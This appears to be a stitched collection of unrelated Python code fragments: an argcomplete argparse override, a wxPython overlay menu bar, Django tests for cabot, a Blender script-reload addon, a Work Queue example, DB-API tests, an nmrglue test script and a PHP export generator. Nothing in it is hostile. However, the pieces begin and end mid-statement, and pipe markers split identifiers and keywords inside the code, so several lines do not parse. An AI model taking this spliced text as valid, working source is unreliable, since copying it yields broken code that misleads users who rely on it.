text = "Downlink Request value is 0,or the Flight Status is 2, 3, 4 or 5, either airborne or on the ground"
else:
text = None
return ca, text
|
= OPTIONAL or action.nargs is None:
return num_consumed_args == 0
assert isinstance(action.nargs, int), 'failed to handle a possible nargs value: %r' % action.nargs
return num_consumed_args < action.nargs
def action_is_greedy(action, isoptional=False):
''' Returns True if action will necessarily consume the next argument.
isoptional indicates whether the argument is an optional (starts with -).
'''
num_consumed_args = _num_consumed_args.get(action, 0)
if action.option_strings:
if not isoptional and not action_is_satisfied(action):
return True
return action.nargs == REMAINDER
else:
return action.nargs == REMAINDER and num_consumed_args >= 1
class IntrospectiveArgumentParser(ArgumentParser):
''' The following is a verbatim copy of ArgumentParser._parse_known_args (Python 2.7.3),
except for the lines that contain the string "Added by argcomplete".
'''
def _parse_known_args(self, arg_strings, namespace):
_num_consumed_args.clear() # Added by argcomplete
self._argcomplete_namespace = namespace
self.active_actions = [] # Added by argcomplete
# replace arg strings that are file references
if self.fromfile_prefix_chars is not None:
arg_strings = self._read_args_from_files(arg_strings)
# map all mutually exclusive arguments to the other arguments
# they can't occur with
action_conflicts = {}
self._action_conflicts = action_conflicts # Added by argcomplete
for mutex_group in self._mutually_exclusive_groups:
group_actions = mutex_group._group_actions
for i, mutex_action in enumerate(mutex_group._group_actions):
conflicts = action_conflicts.setdefault(mutex_action, [])
conflicts.extend(group_actions[:i])
conflicts.extend(group_actions[i + 1:])
# find all option indices, and determine the arg_string_pattern
# which has an 'O' if there is an option at an index,
# an 'A' if there is an argument, or a '-' if there is a '--'
option_string_indices = {}
arg_string_pattern_parts = []
arg_strings_iter = iter(arg_strings)
for i, arg_string in enumerate(arg_strings_iter):
# all args after -- are non-options
if arg_string == '--':
arg_string_pattern_parts.append('-')
for arg_string in arg_strings_iter:
arg_string_pattern_parts.append('A')
# otherwise, add the arg to the arg strings
# and note the index if it was an option
else:
option_tuple = self._parse_optional(arg_string)
if option_tuple is None:
pattern = 'A'
else:
option_string_indices[i] = option_tuple
pattern = 'O'
arg_string_pattern_parts.append(pattern)
# join the pieces together to form the pattern
arg_strings_pattern = ''.join(arg_string_pattern_parts)
# converts arg strings to the appropriate and then takes the action
seen_actions = set()
seen_non_default_actions = set()
self._seen_non_default_actions = seen_non_default_ac | tions # Added by argcomplete
def take_action(action, argument_strings, option_string=None):
seen_actions.add(action)
argument_values = self._get_values(action, argument_strings)
# error if this argument is not allowed with other previously
# seen a | rguments, assuming that actions that use the default
# value don't really count as "present"
if argument_values is not action.default:
seen_non_default_actions.add(action)
for conflict_action in action_conflicts.get(action, []):
if conflict_action in seen_non_default_actions:
msg = _('not allowed with argument %s')
action_name = _get_action_name(conflict_action)
raise ArgumentError(action, msg % action_name)
# take the action if we didn't receive a SUPPRESS value
# (e.g. from a default)
if argument_values is not SUPPRESS \
or isinstance(action, _SubParsersAction):
try:
action(self, namespace, argument_values, option_string)
except:
# Begin added by argcomplete
# When a subparser action is taken and fails due to incomplete arguments, it does not merge the
# contents of its parsed namespace into the parent namespace. Do that here to allow completers to
# access the partially parsed arguments for the subparser.
if isinstance(action, _SubParsersAction):
subnamespace = action._name_parser_map[argument_values[0]]._argcomplete_namespace
for key, value in vars(subnamespace).items():
setattr(namespace, key, value)
# End added by argcomplete
raise
# function to convert arg_strings into an optional action
def consume_optional(start_index):
# get the optional identified at this index
option_tuple = option_string_indices[start_index]
action, option_string, explicit_arg = option_tuple
# identify additional optionals in the same arg string
# (e.g. -xyz is the same as -x -y -z if no args are required)
match_argument = self._match_argument
action_tuples = []
while True:
# if we found no optional action, skip it
if action is None:
extras.append(arg_strings[start_index])
return start_index + 1
# if there is an explicit argument, try to match the
# optional's string arguments to only this
if explicit_arg is not None:
arg_count = match_argument(action, 'A')
# if the action is a single-dash option and takes no
# arguments, try to parse more single-dash options out
# of the tail of the option string
chars = self.prefix_chars
if arg_count == 0 and option_string[1] not in chars:
action_tuples.append((action, [], option_string))
char = option_string[0]
option_string = char + explicit_arg[0]
new_explicit_arg = explicit_arg[1:] or None
optionals_map = self._option_string_actions
if option_string in optionals_map:
action = optionals_map[option_string]
explicit_arg = new_explicit_arg
else:
msg = _('ignored explicit argument %r')
raise ArgumentError(action, msg % explicit_arg)
# if the action expect exactly one argument, we've
# successfully matched the option; exit the loop
elif arg_count == 1:
stop = start_index + 1
args = [explicit_arg]
action_tuples.append((action, args, option_string))
break
# error if a double-dash option did not use the
# explicit argument
else:
msg = _('ignored explicit argument %r')
raise ArgumentError(action, msg % explicit_arg)
# if there is no explicit argument, try to match the
# optional's string arguments with the following strings
# if successful, exit the loop
else:
start = start_index + 1
selected_patterns = ar |
import wx
from ui.custom_checkbox import CustomCheckBox
class CustomMenuBar(wx.Panel):
def __init__(self, parent, *args, **kwargs):
wx.Panel.__init__(self, parent, *args, **kwargs)
self.parent = parent
self.SetBackgroundColour(self.parent.G | etBackgroundColour())
self.SetForegroundColour(self.parent.GetForegroundColour())
self.SetFont(self.parent.GetFont())
self.img_size = 12
self._dragPos = None
self.Bind(wx.EVT_MOTION, self.OnMouse)
gbSizer = wx.GridBagSizer()
self.txtTitle = wx.StaticText(self, wx.ID_ANY, u"Tera DPS ", wx. | DefaultPosition, wx.DefaultSize, 0)
gbSizer.Add(self.txtTitle, wx.GBPosition(0, 0), wx.GBSpan(1, 1), wx.ALL, 5)
self.txtServer = wx.StaticText(self, wx.ID_ANY, u"", wx.DefaultPosition, wx.DefaultSize, 0)
gbSizer.Add(self.txtServer, wx.GBPosition(0, 1), wx.GBSpan(1, 1), wx.ALL | wx.ALIGN_CENTER_HORIZONTAL , 5)
self.btn_pin = CustomCheckBox(self, 'ui.pin', color_checked='#FF0000', color_hover='#1188FF')
self.btn_pin.Bind(wx.EVT_CHECKBOX, self.parent.TogglePin)
gbSizer.Add(self.btn_pin, wx.GBPosition(0, 2), wx.GBSpan(1, 1), wx.ALL, 6)
self.btn_config = CustomCheckBox(self, 'ui.settings', color_checked='#FF0000', color_hover='#1188FF')
self.btn_config.Bind(wx.EVT_CHECKBOX, self.parent.ToggleConfig)
gbSizer.Add(self.btn_config, wx.GBPosition(0, 3), wx.GBSpan(1, 1), wx.ALL, 6)
self.btn_close = CustomCheckBox(self, 'ui.close', color_hover='#1188FF')
self.btn_close.Bind(wx.EVT_CHECKBOX, self.parent.OnClose)
gbSizer.Add(self.btn_close, wx.GBPosition(0, 4), wx.GBSpan(1, 1), wx.ALL, 6)
self.line1 = wx.StaticLine(self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL)
gbSizer.Add(self.line1, wx.GBPosition(1, 0), wx.GBSpan(1, 5), wx.EXPAND | wx.ALL, 0)
gbSizer.AddGrowableCol(1)
self.SetSizer(gbSizer)
def OnMouse(self, event):
if not event.Dragging():
if self._dragPos:
self.ReleaseMouse()
x , y = self.parent.GetPosition()
self.parent.config.WriteInt('x', x)
self.parent.config.WriteInt('y', y)
self._dragPos = None
return
if not self._dragPos:
self.CaptureMouse()
self._dragPos = event.GetPosition()
else:
pos = event.GetPosition()
displacement = self._dragPos - pos
self.parent.SetPosition(self.parent.GetPosition() - displacement)
|
from urlparse import urlparse
from django.contrib.auth.models import User
from django.core.urlresolvers import reverse
from django.test import TestCase
from cabot.cabotapp.models import Service
from cabot.metricsapp.models import MetricsSourceBase, ElasticsearchStatusCheck, GrafanaInstance, GrafanaPanel
class TestMetricsReviewChanges(TestCase):
def setUp(self):
self.user = User.objects.create_user('user', email='user@example.com', password='password')
self.source = MetricsSourceBase.objects.create(name='source')
self.grafana_instance = GrafanaInstance.objects.create(
name='test',
url='http://test.url',
api_key='88888'
)
self.grafana_panel = GrafanaPanel.objects.create(
panel_id=1,
panel_url='http://test.url/some-dashboard/1',
grafana_instance=self.grafana_instance
)
self.metrics_check = ElasticsearchStatusCheck.objects.create(
name='test',
created_by=self.user,
source=self.source,
check_type='<=',
warning_value=9.0,
high_alert_value=15.0,
retries=0,
time_range=30,
frequency=5,
queries='{}',
grafana_panel=self.grafana_panel,
runbook=''
)
self.base_check_data = {
'name': 'test',
'queries': '{}',
'active': True,
'auto_sync': True,
'check_type': '<=',
'warning_value': 9.0,
'high_alert_importance': Service.ERROR_STATUS,
'high_alert_value': 15.0,
'consecutive_failures': 1,
'time_range': 30,
'retries': 0,
'frequency': 5,
'ignore_final_data_point': True,
'on_empty_series': 'fill_zero',
'use_activity_counter': False,
'run_delay': 0,
'run_window': '',
'runbook': '',
}
def test_review_changes(self):
data = self.base_check_data.copy()
data['name'] = 'ultra cool test'
response = self.client.post(reverse('grafana-es-update', kwargs={'pk': self.metrics_check.pk}), data=data)
self.assertNotContains(response, "No changes were made.", status_code=200, msg_prefix=str(response))
self.assertNotContains(response, "errorlist", status_code=200, msg_prefix=str(response))
# DB should NOT be updated yet
self.metrics_check = Elast | icsearchStatusCheck.objects.get(pk=self.metrics_check.pk)
self.assertEqual(self.metrics_check.name, 'test')
# now accept the changes by manually setting skip_review to True (which should be done in the response)
# (would ideally do this by using a browser's normal submit routine on the response,
# but I don't think we can do that with just django's standard testing functions | .
# we at least scan the HTML for the skip_review input to make sure it got set to True)
self.assertContains(response,
'<input id="skip_review" name="skip_review" type="checkbox" checked="checked" />',
status_code=200)
data['skip_review'] = True
response = self.client.post(reverse('grafana-es-update', kwargs={'pk': self.metrics_check.pk}), data=data)
# verify that we ended up at the success url (/check/<pk>)
self.assertEqual(urlparse(response.url).path, reverse('check', kwargs={'pk': self.metrics_check.pk}))
# DB should be updated, verify the name changed
self.metrics_check = ElasticsearchStatusCheck.objects.get(pk=self.metrics_check.pk)
self.assertEqual(self.metrics_check.name, 'ultra cool test')
def test_review_changes_no_changes(self):
"""
check that if we submit the form with no changes, we still go through the review changes flow
"""
# no changes to the check
data = self.base_check_data.copy()
response = self.client.post(reverse('grafana-es-update', kwargs={'pk': self.metrics_check.pk}), data=data)
self.assertNotContains(response, "errorlist", status_code=200, msg_prefix=str(response))
self.assertContains(response, "No changes were made.", status_code=200, msg_prefix=str(response))
# submitting again (with skip_review=True) should take us back to the check page
data['skip_review'] = True
response = self.client.post(reverse('grafana-es-update', kwargs={'pk': self.metrics_check.pk}), data=data)
# verify that we ended up at the success url (/check/<pk>)
self.assertEqual(urlparse(response.url).path, reverse('check', kwargs={'pk': self.metrics_check.pk}))
|
IX + s
# only add the prefix if the last stream ended with a newline.
self._can_prefix = s.endswith('\n')
# Make sure to call the super classes write method.
io.StringIO.write(self, s)
# When we are written to, we also write to the secondary stream.
self.stream.write(s)
# Define the script watching operator.
class WatchScriptOperator(bpy.types.Operator):
"""Watches the script for changes, reloads the script if any changes occur."""
bl_idname = "wm.sw_watch_start"
bl_label = "Watch Script"
_timer = None
_running = False
_times = None
filepath = None
def get_paths(self):
"""Find all the python paths surrounding the given filepath."""
dirname = os.path.dirname(self.filepath)
paths = []
filepaths = []
for root, dirs, files in os.walk(dirname, topdown=True):
if '__init__.py' in files:
paths.append(root)
for f in files:
filepaths.append(os.path.join(root, f))
else:
dirs[:] = [] # No __init__ so we stop walking this dir.
# If we just have one (non __init__) file then return just that file.
return paths, filepaths or [self.filepath]
def get_mod_name(self):
"""Return the module name and the root path of the givin python file path."""
dir, mod = os.path.split(self.filepath)
# Module is a package.
if mod == '__init__.py':
mod = os.path.basename(dir)
dir = os.path.dirname(dir)
# Module is a single file.
else:
mod = os.path.splitext(mod)[0]
return mod, dir
def remove_cached_mods(self):
"""Remove all the script modules from the system cache."""
paths, files = self.get_paths()
for mod_name, mod in list(sys.modules.items()):
if hasattr(mod, '__file__') and os.path.dirname(mod.__file__) in paths:
del sys.modules[mod_name]
def _reload_script_module(self):
print('Reloading script:', self.filepath)
self.remove_cached_mods()
try:
f = open(self.filepath)
paths, files = self.get_paths()
# Get the module name and the root module path.
mod_name, mod_root = self.get_mod_name()
# Create the module and setup the basic properties.
mod = types.ModuleType('__main__')
mod.__file__ = self.filepath
mod.__path__ = paths
mod.__package__ = mod_name
# Add the module to the system module cache.
sys.modules[mod_name] = mod
# Fianally, execute the module.
exec(compile(f.read(), self.filepath, 'exec'), mod.__dict__)
except IOError:
print('Could not open script file.')
except:
sys.stderr.write("There was an error when running the script:\n" + traceback.format_exc())
else:
f.close()
def reload_script(self, context):
"""Reload this script while printing the output to blenders python console."""
# Setup stdout and stderr.
stdout = SplitIO(sys.stdout)
stderr = SplitIO(sys.stderr)
sys.stdout = stdout
sys.stderr = stderr
# Run the script.
self._reload_script_module()
# Go back to the begining so we can read the streams.
stdout.seek(0)
stderr.seek(0)
# Don't use readlines because that leaves trailing new lines.
output = stdout.read().split('\n')
output_err = stderr.read().split('\n')
if self.use_py_console:
# Print the output to the consoles.
for area in context.screen.areas:
if area.type == "CONSOLE":
ctx = context.copy()
ctx.update({"area": area})
# Actually print the output.
if output:
add_scrollback(ctx, output, 'OUTPUT')
if output_err:
add_scrollback(ctx, output_err, 'ERROR')
# Cleanup
sys.stdout = sys.__stdout__
sys.stderr = sys.__stderr__
def modal(self, context, event):
if not context.scene.sw_settings.running:
self.cancel(context)
return {'CANCELLED'}
if context.scene.sw_settings.reload:
context.scene.sw_settings.reload = False
self.reload_script(context)
return {'PASS_THROUGH'}
if event.type == 'TIMER':
for path in self._times:
cur_time = os.stat(path).st_mtime
if cur_time != self._times[path]:
self._times[path] = cur_time
self.reload_script(context)
return {'PASS_THROUGH'}
def execute(self, context):
if context.scene.sw_settings.running:
return {'CANCELLED'}
# Grab the settings and store them as local variables.
self.filepath = bpy.path.abspath(context.scene.sw_settings.filepath)
self.use_py_console = context.scene.sw_settings.use_py_console
# If it's not a file, doesn't exist or permistion is denied we don't preceed.
if not os.path.isfile(self.filepath):
| self.report({'ERROR'}, 'Unable to open script.')
return {'CANCELLED'}
# Setup the times dict to keep track of when all the files where last edited.
dirs, files = self.get_paths()
self._times = dict((path, os.stat(path).st_mtime) for path in files) # Where we store the times of all the paths.
self._times[files[0]] = 0 # We set one of the times to 0 so the script will be loaded on startup.
# Setup the event timer.
wm = context.window_manager
self._timer = wm.event_timer_add(0.1, context.window)
wm.modal_handler_add(self)
context.scene.sw_settings.running = True
return {'RUNNING_MODAL'}
def cancel(self, context):
wm = context.window_manager
wm.event_timer_remove(self._timer)
self.remove_cached_mods()
context.scene.sw_settings.running = False
class CancelScriptWatcher(bpy.types.Operator):
"""Stop watching the current script."""
bl_idname = "wm.sw_watch_end"
bl_label = "Stop Watching"
def execute(self, context):
# Setting the running flag to false will cause the modal to cancel itself.
context.scene.sw_settings.running = False
return {'FINISHED'}
class ReloadScriptWatcher(bpy.types.Operator):
"""Reload the current script."""
bl_idname = "wm.sw_reload"
bl_label = "Reload Script"
def execute(self, context):
# Setting the reload flag to true will cause the modal to cancel itself.
context.scene.sw_settings.reload = True
return {'FINISHED'}
# Create the UI for the operator. NEEDS FINISHING!!
class ScriptWatcherPanel(bpy.types.Panel):
"""UI for the script watcher."""
bl_label = "Script Watcher"
bl_idname = "SCENE_PT_script_watcher"
bl_space_type = 'PROPERTIES'
bl_region_type = 'WINDOW'
bl_context = "scene"
def draw(self, context):
layout = self.layout
running = context.scene.sw_settings.running
col = layout.column()
col.prop(context.scene.sw_settings, 'filepath')
col.prop(context.scene.sw_settings, 'use_py_console')
col.prop(context.scene.sw_settings, 'auto_watch_on_startup')
col.operator('wm.sw_watch_start', icon='VISIBLE_IPO_ON')
col.enabled = not running
if running:
row = layout.row(align=True)
row.operator('wm.sw_watch_end', icon='CANCEL')
row.operator('wm.sw_reload', icon='FILE_REFRESH')
class ScriptWatcherSettings(bpy.types.Pr | |
#!/usr/bin/env python3
# copyright (C) 2021- The University of Notre Dame
# Thi | s software is distributed under the GNU General Public License.
# See the file COPYING for details.
# Example on how to execute python code with a Work Queue task.
# The class PythonTask allows users to execute python functions as Work Queue
# commands. Functions and their arguments are pickled to a file and executed
# utilizing a wrapper script to execut the function. the output of the executed
# function is then written to a file as an output file and | read when neccesary
# allowing the user to get the result as a python variable during runtime and
# manipulated later.
# A PythonTask object is created as `p_task = PyTask.PyTask(func, args)` where
# `func` is the name of the function and args are the arguments needed to
# execute the function. PythonTask can be submitted to a queue as regular Work
# Queue functions, such as `q.submit(p_task)`.
#
# When a has completed, the resulting python value can be retrieved by calling
# the output method, such as: `x = t.output` where t is the task retuned by
# `t = q.wait()`.
#
# By default, the task will run assuming that the worker is executing inside an
# appropiate python environment. If this is not the case, an environment file
# can be specified with: `t.specify_environment("env.tar.gz")`, in which
# env.tar.gz is created with the conda-pack module, and has at least a python
# installation, the dill module, and the conda module.
#
# A minimal conda environment 'my-minimal-env.tar.gz' can be created with:
#
# conda create -y -p my-minimal-env python=3.8 dill conda
# conda install -y -p my-minimal-env -c conda-forge conda-pack
# conda install -y -p my-minimal-env pip and conda install other modules, etc.
# conda run -p my-minimal-env conda-pack
import work_queue as wq
def divide(dividend, divisor):
import math
return dividend/math.sqrt(divisor)
def main():
q = wq.WorkQueue(9123)
for i in range(1, 16):
p_task = wq.PythonTask(divide, 1, i**2)
# if python environment is missing at worker...
#p_task.specify_environment("env.tar.gz")
q.submit(p_task)
sum = 0
while not q.empty():
t = q.wait(5)
if t:
x = t.output
if isinstance(x, wq.PythonTaskNoResult):
print("Task {} failed and did not generate a result.".format(t.id))
else:
sum += x
print(sum)
if __name__ == '__main__':
main()
|
e" % self.table_prefix)
self.failUnless(cur.rowcount in (-1,1),
'cursor.rowcount should == number of rows returned, or '
'set to -1 after executing a select statement'
)
self.executeDDL2(cur)
self.assertEqual(cur.rowcount,-1,
'cursor.rowcount not being reset to -1 after executing '
'no-result statements'
)
finally:
con.close()
lower_func = 'lower'
def test_callproc(self):
con = self._connect()
try:
cur = con.cursor()
if self.lower_func and hasattr(cur,'callproc'):
r = cur.callproc(self.lower_func,('FOO',))
self.assertEqual(len(r),1)
self.assertEqual(r[0],'FOO')
r = cur.fetchall()
self.assertEqual(len(r),1,'callproc produced no result set')
self.assertEqual(len(r[0]),1,
'callproc produced invalid result set'
)
self.assertEqual(r[0][0],'foo',
'callproc produced invalid results'
)
finally:
con.close()
def test_close(self):
con = self._connect()
try:
cur = con.cursor()
finally:
con.close()
# cursor.execute should raise an Error if called after connection
# closed
self.assertRaises(self.driver.Error,self.executeDDL1,cur)
# connection.commit should raise an Error if called after connection'
# closed.'
self.assertRaises(self.driver.Error,con.commit)
# connection.close should raise an Error if called more than once
self.assertRaises(self.driver.Error,con.close)
def test_execute(self):
con = self._connect()
try:
cur = con.cursor()
self._paraminsert(cur)
finally:
con.close()
def _paraminsert(self,cur):
self.executeDDL1(cur)
cur.execute("insert into %sbooze values ('Victoria Bitter')" % (
self.table_prefix
))
self.failUnless(cur.rowcount in (-1,1))
if self.driver.paramstyle == 'qmark':
cur.execute(
'insert into %sbooze values (?)' % self.table_prefix,
("Cooper's",)
)
elif self.driver.paramstyle == 'numeric':
cur.execute(
'insert into %sbooze values (:1)' % self.table_prefix,
("Cooper's",)
)
elif self.driver.paramstyle == 'named':
cur.execute(
'insert into %sbooze values (:beer)' % self.table_prefix,
{'beer':"Cooper's"}
)
elif self.driver.paramstyle == 'format':
cur.execute(
'insert into %sbooze values (%%s)' % self.table_prefix,
("Cooper's",)
)
elif self.driver.paramstyle == 'pyformat':
cur.execute(
'insert into %sbooze values (%%(beer)s)' % self.table_prefix,
{'beer':"Cooper's"}
)
else:
self.fail('Invalid paramstyle')
self.failUnless(cur.rowcount in (-1,1))
cur.execute('select name from %sbooze' % self.table_prefix)
res = cur.fetchall()
self.assertEqual(len(res),2,'cursor.fetchall returned too few rows')
beers = [res[0][0],res[1][0]]
beers.sort()
self.assertEqual(beers[0],"Cooper's",
'cursor.fetchall retrieved incorrect data, or data inserted '
'incorrectly'
)
self.assertEqual(beers[1],"Victoria Bitter",
'cursor.fetchall retrieved incorrect data, or data inserted '
'incorrectly'
)
def test_executemany(self):
con = self._connect()
try:
cur = con.cursor()
self.executeDDL1(cur)
largs = [ ("Cooper's",) , ("Boag's",) ]
margs = [ {'beer': "Cooper's"}, {'beer': "Boag's"} ]
if self.driver.paramstyle == 'qmark':
cur.executemany(
'insert into %sbooze values (?)' % self.table_prefix,
largs
)
elif self.driver.paramstyle == 'numeric':
cur.executemany(
'insert into %sbooze values (:1)' % self.table_prefix,
largs
)
elif self.driver.paramstyle == 'named':
cur.executemany(
'insert into %sbooze values (:beer)' % self.table_prefix,
margs
)
elif self.driver.paramstyle == 'format':
cur.executemany(
'insert into %sbooze values (%%s)' % self.table_prefix,
largs
)
elif self.driver.paramstyle == 'pyformat':
cur.executemany(
'insert into %sbooze values (%%(beer)s)' % (
self.table_prefix
),
margs
)
else:
self.fail('Unknown paramstyle')
self.failUnless(cur.rowcount in (-1,2),
'insert using cursor.executemany set cursor.rowcount to '
'incorrect value %r' % cur.rowcount
)
cur.execute('select name from %sbooze' % self.table_prefix)
res = cur.fetchall()
self.assertEqual(len(res),2,
'cursor.fetchall retrieved incorrect number of rows'
)
beers = [res[0][0],res[1][0]]
beers.sort()
self.assertEqual(beers[0],"Boag's",'incorrect data retrieved')
self.assertEqual(beers[1],"Cooper's",'incorrect data retr | ieved')
finally:
con.close()
def test_fetchone(self):
con = self._connect()
try:
cur = con.cursor()
# cursor.fetchone should raise an Error if called before
# executing a select-type query
self.assertRa | ises(self.driver.Error,cur.fetchone)
# cursor.fetchone should raise an Error if called after
# executing a query that cannnot return rows
self.executeDDL1(cur)
self.assertRaises(self.driver.Error,cur.fetchone)
cur.execute('select name from %sbooze' % self.table_prefix)
self.assertEqual(cur.fetchone(),None,
'cursor.fetchone should return None if a query retrieves '
'no rows'
)
self.failUnless(cur.rowcount in (-1,0))
# cursor.fetchone should raise an Error if called after
# executing a query that cannnot return rows
cur.execute("insert into %sbooze values ('Victoria Bitter')" % (
self.table_prefix
))
self.assertRaises(self.driver.Error,cur.fetchone)
cur.execute('select name from %sbooze' % self.table_prefix)
r = cur.fetchone()
self.assertEqual(len(r),1,
'cursor.fetchone should have retrieved a single row'
)
self.assertEqual(r[0],'Victoria Bitter',
'cursor.fetchone retrieved incorrect data'
)
self.assertEqual(cur.fetchone(),None,
'cursor.fetchone should return None if no more rows available'
)
self.failUnless(cur.rowcount in (-1,1))
finally:
con.close()
samples = [
'Carlton Cold',
'Carlton Draft',
'Mountain Goat',
'Redback',
'Victoria Bitter',
'XXXX'
]
def _populate(self):
''' Return a list of sql commands to setup the DB for the fetch
tests.
'''
populate = [
"insert into %sbooze values ('%s')" % (self.table_prefix,s)
for s in self.samples
]
return populate
def test_fe |
# License AGP | L-3.0 or later (https://www.gnu.org/licenses/agpl).
from . import test_ui | |
fro | m survey.management.commands.import_location import Command
__all__ = [''] | |
# -*- coding: utf-8 -*-
from mesa_pd.accessor import create_access
from mesa_pd.utility import generate_file
def create_property(name, type, defValue=""):
"""
Parameters
----------
name : str
name of the property
type : str
type of the property
defValue : str
default value the property should be initialized with
"""
return {'name': name, 'type': type, 'defValue': defValue}
class HCSITSRelaxationStep():
def __init__(self):
self.context = {'properties': [], 'interface': []}
self.context['properties'].append(create_property("maxSubIterations", "size_t", defValue="20"))
self.context['properties'].append(
create_property("relaxationModel", "RelaxationModel", defValue="InelasticFrictionlessContact"))
self.context['properties'].append(create_property("deltaMax", "real_t", defValue="0"))
self.context['properties'].append(create_property("cor", "real_t", defValue="real_t(0.2)"))
self.context['interface'].append(create_access("uid", "walberla::id_t", access="g"))
self.context['interface'].append(create_access("position", "walberla::mesa_pd::Vec3", access="g"))
self.context['interface'].append(create_access("linearVelocity", "walberla::mesa_pd::Vec3", acces | s="g"))
self.context['interface'].append(create_access("angularVelocity", "walberla::mesa_pd::Vec3", access="g")) |
self.context['interface'].append(create_access("invMass", "walberla::real_t", access="g"))
self.context['interface'].append(create_access("invInertia", "walberla::mesa_pd::Mat3", access="g"))
self.context['interface'].append(create_access("dv", "walberla::mesa_pd::Vec3", access="gr"))
self.context['interface'].append(create_access("dw", "walberla::mesa_pd::Vec3", access="gr"))
def generate(self, module):
ctx = {'module': module, **self.context}
generate_file(module['module_path'], 'kernel/HCSITSRelaxationStep.templ.h', ctx)
|
#! /usr/bin/env python
""" Create files for shuf unit test """
import nmrglue.fileio.pipe as pipe
import nmrglue.process.pipe_proc as p
d, a = pipe.read("time_complex.fid")
d, a = p.shuf(d, a, mode="ri2c")
pipe.write("shuf1.glue", d, a, overwrite=True)
d, a = pipe.read("time_complex.fid")
d, a = p.shuf(d, a, mode="c2ri")
pipe.write("shuf2.glue", d, a, overwrite=True)
d, a = pipe.read("time_complex.fid")
d, a = p.shuf(d, a, mode="ri2rr")
pipe.write("shuf3.glue", d, a, overwrite=True)
d, a = pipe.read("time_complex.fid")
d, a = p.shuf(d, a, mode="exlr")
pipe.write("shuf4.glue", d, a, overwrite=True)
d, a = pipe.read("time_complex.fid")
d, a = p.shuf( | d, a, mode="rolr")
pipe.write("shuf5.glue", d, a, overwrite=True)
| d, a = pipe.read("time_complex.fid")
d, a = p.shuf(d, a, mode="swap")
pipe.write("shuf6.glue", d, a, overwrite=True)
d, a = pipe.read("time_complex.fid")
d, a = p.shuf(d, a, mode="inv")
pipe.write("shuf7.glue", d, a, overwrite=True)
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import unicode_literals
import os
from core.base_processor import xBaseProcessor
from utilities.export_helper import xExportHelper
from util | ities.file_utility import xFileUtility
from definitions.constant_data import xConstantData
class xProcessorPhp(xBaseProcessor) :
def __init__(self, p_strSuffix, p_strConfig) :
return super(xProcessorPhp, self) | .__init__('PHP', p_strSuffix, p_strConfig)
def ProcessExport(self, p_strWorkbookName, p_cWorkbook, p_cWorkSheet, p_mapExportConfigs, p_mapDatabaseConfigs, p_mapIndexSheetConfigs, p_mapDataSheetConfigs, p_mapPreloadDataMaps, p_nCategoryLevel) :
print('>>>>> 正在处理 工作表 [{0}] => [{1}]'.format(p_mapIndexSheetConfigs['DATA_SHEET'], self.Type.lower()))
strExportDirectory = self.GetExportDirectory(p_mapExportConfigs)
self.PrepareExportDirectory(strExportDirectory)
lstCategoryLevelColumnIndexIndexs = self.GetCategoryLevelColumnIndexList(p_nCategoryLevel, self.Config, p_mapExportConfigs, p_mapDataSheetConfigs)
mapGenerateControl = { }
mapGenerateControl['level_index'] = 0
mapGenerateControl['ident'] = '\t'
strContent = ''
strContent += '<?php\n'
strContent += '\n'
strContent += '// ////////////////////////////////////////////////////////////////////////////////////////////\n'
strContent += '// \n'
strContent += '// {0}\n'.format(self.GetCopyrightString(p_mapExportConfigs['COPYRIGHT']['ORGANIZATION'], p_mapExportConfigs['COPYRIGHT']['SINCE_YEAR']))
strContent += '// \n'
strContent += '// Create By : {0}\n'.format(self.GetAuthorString())
strContent += '// \n'
strContent += '// Description : {0}\n'.format(p_cWorkSheet.title)
strContent += '// \n'
strContent += '// ////////////////////////////////////////////////////////////////////////////////////////////\n'
strContent += '\n'
strContent += 'return array('
strContent += self.__ConvertPHPContent(p_mapExportConfigs, p_mapDataSheetConfigs, p_mapPreloadDataMaps, lstCategoryLevelColumnIndexIndexs, p_nCategoryLevel, mapGenerateControl)
strContent += '\n'
strContent += ');\n'
strContent += '\n'
strContent += '// end\n'
strFileName = '{0}.{1}'.format(p_mapIndexSheetConfigs['DATA_FILE_NAME'], self.Suffix.lower())
strFilePath = os.path.join(strExportDirectory, strFileName)
xFileUtility.DeleteFile(strFilePath)
bSuccess = xFileUtility.WriteDataToFile(strFilePath, 'w', strContent)
if bSuccess :
print('>>>>> 工作表 [{0}] => [{1}] 处理成功!'.format(p_mapIndexSheetConfigs['DATA_SHEET'], self.Type.lower()))
else :
print('>>>>> 工作表 [{0}] => [{1}] 处理失败!'.format(p_mapIndexSheetConfigs['DATA_SHEET'], self.Type.lower()))
return bSuccess
def __ConvertPHPContent(self, p_mapExportConfigs, p_mapDataSheetConfigs, p_mixPreloadDatas, p_lstCategoryLevelColumnIndexIndexs, p_nCategoryLevel, p_mapGenerateControl) :
if type(p_mixPreloadDatas) == dict and p_mixPreloadDatas.has_key('datas') :
return self.__ConvertPHPContent(p_mapExportConfigs, p_mapDataSheetConfigs, p_mixPreloadDatas['datas'], p_lstCategoryLevelColumnIndexIndexs, p_nCategoryLevel, p_mapGenerateControl)
if type(p_mixPreloadDatas) == dict :
strContent = ''
p_mapGenerateControl['level_index'] += 1
for mixKey in p_mixPreloadDatas :
if mixKey is None :
continue
strContent += '\n{0}'.format(self.GenerateIdentIdentifier(p_mapGenerateControl['level_index'], p_mapGenerateControl['ident']))
strKey = '{0}'.format(mixKey)
strKey = strKey.replace('\'', '\\\\\'')
if xConstantData.MYSQL_DATA_DEFINITIONS[p_mapDataSheetConfigs[p_lstCategoryLevelColumnIndexIndexs[p_mapGenerateControl['level_index'] - 1]][xConstantData.DATA_SHEET_ROW_DATA_TYPE].upper()]['IS_STRING'] :
strContent += '\'{0}\' => array('.format(strKey)
else :
strContent += '{0} => array('.format(strKey)
strContent += self.__ConvertPHPContent(p_mapExportConfigs, p_mapDataSheetConfigs, p_mixPreloadDatas[mixKey], p_lstCategoryLevelColumnIndexIndexs, p_nCategoryLevel, p_mapGenerateControl)
if p_mapGenerateControl['level_index'] < len(p_lstCategoryLevelColumnIndexIndexs) :
strContent += '\n{0}'.format(self.GenerateIdentIdentifier(p_mapGenerateControl['level_index'], p_mapGenerateControl['ident']))
if type(p_mixPreloadDatas[mixKey]) == list and len(p_mixPreloadDatas[mixKey]) > 1 :
strContent += '\n{0}'.format(self.GenerateIdentIdentifier(p_mapGenerateControl['level_index'], p_mapGenerateControl['ident']))
strContent += '),'
p_mapGenerateControl['level_index'] -= 1
return strContent
if type(p_mixPreloadDatas) == list :
nPreloadDataSize = len(p_mixPreloadDatas)
strContent = ''
